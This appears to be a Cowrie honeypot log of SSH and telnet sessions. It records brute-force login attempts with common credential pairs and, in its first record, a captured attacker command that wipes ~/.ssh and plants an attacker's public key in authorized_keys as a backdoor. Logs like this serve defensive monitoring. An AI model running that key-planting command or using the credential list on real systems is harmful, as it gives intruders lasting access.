{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:45.562304Z","src_ip":"34.135.200.178","session":"0f21f8a50db3","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:45.604808Z","src_ip":"34.135.200.178","session":"0f21f8a50db3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:45.609085Z","src_ip":"34.135.200.178","session":"0f21f8a50db3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":56822,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a55548466e1","protocol":"ssh","message":"New connection: 34.135.200.178:56822 (10.17.0.5:22) [session: 5a55548466e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:45.638253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:45.643546Z","src_ip":"34.135.200.178","session":"5a55548466e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:45.679688Z","src_ip":"34.135.200.178","session":"5a55548466e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:45.853003Z","src_ip":"34.135.200.178","session":"5a55548466e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:46.892575Z","src_ip":"34.135.200.178","session":"5a55548466e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":56826,"dst_ip":"10.17.0.5","dst_port":22,"session":"66134369da4a","protocol":"ssh","message":"New connection: 34.135.200.178:56826 (10.17.0.5:22) [session: 66134369da4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:46.923751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:46.929338Z","src_ip":"34.135.200.178","session":"66134369da4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:46.965232Z","src_ip":"34.135.200.178","session":"66134369da4a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:47.140907Z","src_ip":"34.135.200.178","session":"66134369da4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:47.177947Z","src_ip":"34.135.200.178","session":"0f21f8a50db3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:47.183801Z","src_ip":"34.135.200.178","session":"66134369da4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.646037101745605,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:47.339267Z","src_ip":"134.209.8.29","session":"8535da953676","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":7425,"dst_ip":"159.203.135.109","dst_port":22,"session":"fde8692644b3","protocol":"ssh","message":"New connection: 205.254.166.101:7425 (159.203.135.109:22) [session: fde8692644b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:48.877092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:48.883061Z","src_ip":"205.254.166.101","session":"fde8692644b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:49.090554Z","src_ip":"205.254.166.101","session":"fde8692644b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456qwe","message":"login attempt [admin/123456qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:49.943720Z","src_ip":"205.254.166.101","session":"fde8692644b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:51.154323Z","src_ip":"205.254.166.101","session":"fde8692644b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":34158,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fd68f8c5fd0","protocol":"telnet","message":"New connection: 38.54.119.93:34158 (10.17.0.5:23) [session: 1fd68f8c5fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:52.752707Z"}
{"eventid":"cowrie.session.closed","duration":45.96812319755554,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:54.163472Z","src_ip":"38.54.119.93","session":"e23e0635d7fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.990297079086304,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:57.887478Z","src_ip":"134.209.8.29","session":"00be4fea5e79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.959574460983276,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:27:59.566107Z","src_ip":"134.209.8.29","session":"a5f5eb54370e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44864,"dst_ip":"10.17.0.5","dst_port":23,"session":"c248ca3b24f2","protocol":"telnet","message":"New connection: 38.54.119.93:44864 (10.17.0.5:23) [session: c248ca3b24f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:08.261519Z"}
{"eventid":"cowrie.session.closed","duration":46.87530994415283,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:08.996584Z","src_ip":"134.209.8.29","session":"683d8a634348","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":35006,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9d02b79117d","protocol":"telnet","message":"New connection: 134.209.8.29:35006 (159.203.135.109:23) [session: e9d02b79117d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:15.043800Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":46380,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8cfe747cf75","protocol":"telnet","message":"New connection: 134.209.8.29:46380 (159.203.135.109:23) [session: f8cfe747cf75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:15.589244Z"}
{"eventid":"cowrie.session.closed","duration":2.1757419109344482,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:17.219390Z","src_ip":"134.209.8.29","session":"e9d02b79117d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":46378,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fe948f8c019","protocol":"telnet","message":"New connection: 134.209.8.29:46378 (159.203.135.109:23) [session: 0fe948f8c019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:17.965336Z"}
{"eventid":"cowrie.session.closed","duration":3.4080984592437744,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:21.373317Z","src_ip":"134.209.8.29","session":"0fe948f8c019","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":55852,"dst_ip":"10.17.0.5","dst_port":22,"session":"adc47cf84fd9","protocol":"ssh","message":"New connection: 147.50.231.135:55852 (10.17.0.5:22) [session: adc47cf84fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:25.114784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:25.120426Z","src_ip":"147.50.231.135","session":"adc47cf84fd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:25.382720Z","src_ip":"147.50.231.135","session":"adc47cf84fd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2018","message":"login attempt [root/server2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:26.468370Z","src_ip":"147.50.231.135","session":"adc47cf84fd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:27.732638Z","src_ip":"147.50.231.135","session":"adc47cf84fd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":60804,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8693dafdb48","protocol":"ssh","message":"New connection: 150.95.157.171:60804 (10.17.0.5:22) [session: e8693dafdb48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:28.819666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:28.825250Z","src_ip":"150.95.157.171","session":"e8693dafdb48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:28.992528Z","src_ip":"150.95.157.171","session":"e8693dafdb48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2018","message":"login attempt [root/server2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:29.662335Z","src_ip":"150.95.157.171","session":"e8693dafdb48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:30.827707Z","src_ip":"150.95.157.171","session":"e8693dafdb48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":50628,"dst_ip":"10.17.0.5","dst_port":22,"session":"42bce7a01caf","protocol":"ssh","message":"New connection: 34.135.200.178:50628 (10.17.0.5:22) [session: 42bce7a01caf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:32.087644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:32.096220Z","src_ip":"34.135.200.178","session":"42bce7a01caf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:32.131382Z","src_ip":"34.135.200.178","session":"42bce7a01caf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q1w2e3r4t5","message":"login attempt [ubuntu/q1w2e3r4t5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:32.303780Z","src_ip":"34.135.200.178","session":"42bce7a01caf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.70850467681885,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:32.905862Z","src_ip":"134.209.8.29","session":"5b29c5e87496","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:28:33.341846Z","src_ip":"34.135.200.178","session":"42bce7a01caf","protocol":"ssh"}
